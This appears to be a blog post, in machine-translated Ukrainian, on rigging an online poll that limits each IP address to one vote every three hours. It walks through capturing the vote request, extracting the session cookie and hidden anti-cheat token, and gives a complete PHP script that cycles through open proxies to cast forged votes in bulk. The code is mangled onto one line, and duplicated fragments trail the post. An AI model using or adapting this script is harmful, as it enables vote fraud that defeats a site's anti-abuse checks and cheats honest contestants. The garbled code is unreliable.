Накрутка голосів на PHP на пальцях

  1. план
  2. досліджуємо HTML
  3. Дивимося за пакетами
  4. Реалізація

Мої знайомі постійно беруть участь в різних конкурсах. При цьому вони залучають до цього всіх своїх друзів і знайомих, розсилаючи в асьці або вконтакте прохання «Проголосуй за мене тут», «Проголосуй за фото» і т.д. Думаю, така ситуація знайома багатьом. І ось одного разу я вирішив допомогти одній своїй подрузі і ось що з цього вийшло.

Увага! Даний пост написаний виключно для ознайомлення. Використовуйте дану інформацію тільки для розробки методів боротьби з накруткою при розробці власних програм. Грайте чесно, друзі, і не порушуйте закон!

Для голосування не було потрібно реєстрації. Єдине обмеження було в тому, що з одного IP можна голосувати не частіше, ніж раз на 3 години. Це значно полегшувало завдання. Насамперед я поліз в куки браузера, щоб почистити їх. Звичайно, ймовірність такої халяви була дуже мала, але я все таки спробував :) Очевидно, що IP адреса і час останнього голосу зберігаються на сервері. Значить ми будемо працювати зі списком проксі-серверів, щоб обійти це.

план

Якщо в двох словах, то нам потрібно визначити, які дані надсилаються на сервер при натисканні на кнопку «Голосувати», і потім автоматизувати це, щоб такі ж дані відсилалися швидко, часто і без рук :) У міру складності нам доведеться робити додаткові дії перед відправкою даних. Все залежить від того, що там для нас приготували розробники модуля голосування ...

досліджуємо HTML

Відкриємо вихідний текст сторінки з голосуванням. Нас цікавить тег <form>, його атрибути action і method, а так само всі вкладені теги <input>. Судячи з усього це модуль aPoll для Joomla. Але насправді це не важливо, тому що я опишу тут загальні принципи, які застосовуються для будь-якого подібного механізму голосування.

Весь вміст форми буде відправлено на сервер після натискання на кнопку type = submit. Спосіб відправки даних форми на сервер вказано в атрибуті method. Для відправки даних через форму використовують методи GET або POST (в протоколі HTTP існують ще й інші методи, про які коротко можна почитати, наприклад, тут ). Дані йдуть за адресою, вказаною в action, у вигляді пар key = value. Якщо клієнтська сторона веб-додатки реалізована із застосуванням ajax, то визначити метод і адреса буде трохи складніше, але подальші наші дії майже не відрізнятимуться (можливо, я розповім про це наступного разу).

Призначення майже всіх <input> зрозуміло. В очі кидається тільки останній невідомий параметр:

<Input type = "hidden" name = "dd972dd7998aca5da8349c281a530424" value = "1" />

Якщо оновити сторінку, то ім'я цього параметра зміниться.

Оскільки використовується метод POST, я припускаю, що запит буде виглядати приблизно так:

POST / path / to / voting / script HTTP / 1.1 Host: www.target.ru Connection: keep-alive Content-Length: 89 Content-type: application / x-www-form-urlencoded; charset = UTF-8 Accept: text / html voteid = 83 & option = com_apoll & id = 20 & format = raw & view = apoll & dd972dd7998aca5da8349c281a530424 = 1

Дивимося за пакетами

Щоб отримати точні дані, які посилає браузер, я скористався Wireshark`ом. Про сніффером і особливо про wifi-сніффером я розповім докладніше в наступний раз.

Запускаємо Wireshark, налаштовуємо фільтр так, щоб відловлювали тільки пакети від нас до потрібного хоста і назад (зайвий сміття нам ні до чого). Ще можна відключити картинки в браузері - це зменшить обсяг трафіку між нами і сервером і поліпшити читаність списку відловлених пакетів. Видаляємо в браузері куки для цього сайту, відкриваємо сторінку з формою голосування, вибираємо потрібний пункт, натискаємо «Голосувати». Зупиняємо захоплення пакетів. Шукаємо пакет POST:

Тут все, як я і припускав, за винятком рядка:

Cookie: 0c8b34dacf4f14182867180a1aaba5c4 = 47e0e642a25f8b86d926b6f2cf9eef55

Тепер зрозуміло навіщо потрібен той невідомий параметр зі страшним ім'ям. Це найпростіша захист від накрутки, яка лише наполовину ускладнить наш скрипт - не можна тупо відправити POST-запит на сервер, що не завантаживши перед цим сторінку з голосуванням. Звідки нам отримати цю куку? Шукаємо пакет GET із запитом самої сторінки. Слідом за ним шукаємо найближчий HTTP / 1.1 200 OK:

З нього нам потрібна тільки рядок Set-Cookie. Це вказівка ​​браузеру зберегти куку key = value для поточного сайту, а точніше для його частини, зазначеної в path (в нашому випадку - це корінь).

Тепер всі ланки ланцюга зібрані, можна починати!

Реалізація

Загальна картина у нас тепер склалася. Нам потрібно запросити GET сторінку з формою голосування, витягнути з заголовка куку і той невідомий параметр з форми. Потім сформувати POST запит з кукой, невідомим параметром і іншими параметрами, які залишаються незмінними. Все це потрібно виконувати в циклі по файлу зі списком проксі-серверів.

Виконання скрипта буде займати багато часу - відповідно, його не можна буде розташувати у якого-небудь веб-хостера. Ніяким шеллом я, до сожаденію, не володію. Тому запускати буду на локальній машині :) Це вкрай небезпечно, і я нікому не рекомендую так робити!

Де дістати список проксі? Для мене це теж було проблемою. У мережі багато місць, де безкоштовно публікують списки проксі-серверів. Половина з них просто не працює. Дві третини залишилися ні разу не анонімні, але для наших цілей цілком підійдуть, так як все ж змінюють REMOTE_ADDR. По початку я перевіряв знайдені списки в програмах проксі-чекер. Але потім забив на це, тому що написаний скрипт сам переходив до наступного проксі зі списку, якщо поточний не відповідав і вивалювався з таймаут. Вид списків проксі серверів може бути різним: десь адресу і порт можуть розділятися двокрапкою, десь пробілами або табуляцією. В такому випадку доведеться підігнати розбір рядків в скрипті під потрібний формат запису.

Після вечора кодування і налагодження у мене вийшло так:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 < ? php function PostRequest ($ url, $ proxy_host, $ proxy_port, $ data, $ cookie) {$ url = parse_url ($ url); $ Host = $ url [ 'host']; $ Path = $ url [ 'path']; $ Fp = fsockopen ($ proxy_host, $ proxy_port); if (! $ fp) return; fputs ($ fp, "POST $ path HTTP / 1.1 \ r \ n"); fputs ($ fp, "Host: $ host \ r \ n"); fputs ($ fp, "Connection: close \ r \ n"); fputs ($ fp, "Referer: $ url \ r \ n"); fputs ($ fp, "Accept: text / javascript, text / html, application / xml, text / xml, * / * \ r \ n"); fputs ($ fp, "Content-Length:". strlen ($ data). "\ r \ n"); fputs ($ fp, "Origin: $ host \ r \ n"); fputs ($ fp, "X-Requested-With: XMLHttpRequest \ r \ n"); fputs ($ fp, "Content-type: application / x-www-form-urlencoded; charset = UTF-8 \ r \ n"); fputs ($ fp, "User-Agent: Mozilla / 5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit / 534.13 (KHTML, like Gecko) Chrome / 9.0.597.98 Safari / 534.13 \ r \ n"); fputs ($ fp, "Cookie: $ cookie \ r \ n \ r \ n"); fputs ($ fp, $ data); $ Result = ''; while (! feof ($ fp)) {$ result. = fgets ($ fp, 128); } Fclose ($ fp); $ Result = explode ( "\ r \ n \ r \ n", $ result, 2); $ Header = isset ($ result [0])? $ Result [0]: ''; $ Content = isset ($ result [1])? $ Result [1]: ''; return array ($ header, $ content); } Function GetRequest ($ url, $ proxy_host, $ proxy_port) {$ url = parse_url ($ url); $ Host = $ url [ 'host']; $ Path = $ url [ 'path']; $ Fp = fsockopen ($ proxy_host, $ proxy_port); if (! $ fp) return; fputs ($ fp, "GET $ path HTTP / 1.1 \ r \ n"); fputs ($ fp, "Host: $ host \ r \ n"); fputs ($ fp, "Connection: close \ r \ n"); fputs ($ fp, "Accept: text / javascript, text / html, application / xml, text / xml, * / * \ r \ n"); fputs ($ fp, "User-Agent: Mozilla / 5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit / 534.13 (KHTML, like Gecko) Chrome / 9.0.597.98 Safari / 534.13 \ r \ n \ r \ n "); $ Result = ''; while (! feof ($ fp)) {$ result. = fgets ($ fp, 128); } Fclose ($ fp); $ Result = explode ( "\ r \ n \ r \ n", $ result, 2); $ Header = isset ($ result [0])? $ Result [0]: ''; $ Content = isset ($ result [1])? $ Result [1]: ''; return array ($ header, $ content); } $ Handle = @ fopen ( "C: /proxylist.txt", "r"); if ($ handle) {while (($ buffer = fgets ($ handle))! == false) {$ result = explode ( "\ t", $ buffer, 3); $ Proxy_host = isset ($ result [0])? $ Result [0]: ''; $ Proxy_port = isset ($ result [1])? $ Result [1]: ''; $ Proxy_port = str_replace ( "\ n", "", $ proxy_port); echo "$ proxy_host: $ proxy_port -"; if ($ proxy_host! = '' && $ proxy_port! = '') {list ($ header, $ content) = GetRequest ( "http://www.target.ru/road/to/hell", $ proxy_host, $ proxy_port); if (preg_match ( '/ Set-Cookie: (. +); /', $ header, $ matches)) {$ cookie = $ matches [1]; if (preg_match ( '/ <div> <input type = "hidden" name = "(. +)" value = "1" \ /> <\ / div> <\ / form> /', $ content, $ matches )) {$ fuck = $ matches [1]; echo $ fuck; $ Data = "voteid = 83 & option = com_apoll & id = 20 & format = raw & view = apoll & $ fuck = 1"; list ($ header, $ content) = PostRequest ( "http://www.target.ru/road/to/fucking/hell/fuck/yeah", $ proxy_host, $ proxy_port, $ data, $ cookie); echo "- OK \ n"; } Else {echo "Fuck fail \ n"; }} Else {echo "Cookie fail \ n"; }}} Fclose ($ handle); }?>

Чи не найкрасивіший код, але головне працює :)

UPD (21.03.2011): На сайті все таки засвербіли - зробили обов'язковою реєстрацію для голосування :) Я переробляти скрипт не буду. Своє завдання він зробив, коли це було потрібно. Вимога реєстрації ускладнює завдання на порядок, але принцип накрутки все одно залишиться таким же.

Звідки нам отримати цю куку?
Де дістати список проксі?
Fgets ($ fp, 128); } Fclose ($ fp); $ Result = explode ( "\ r \ n \ r \ n", $ result, 2); $ Header = isset ($ result [0])?
Result [0]: ''; $ Content = isset ($ result [1])?
Fgets ($ fp, 128); } Fclose ($ fp); $ Result = explode ( "\ r \ n \ r \ n", $ result, 2); $ Header = isset ($ result [0])?
Result [0]: ''; $ Content = isset ($ result [1])?
False) {$ result = explode ( "\ t", $ buffer, 3); $ Proxy_host = isset ($ result [0])?
Result [0]: ''; $ Proxy_port = isset ($ result [1])?

Дополнительная информация

rss
Карта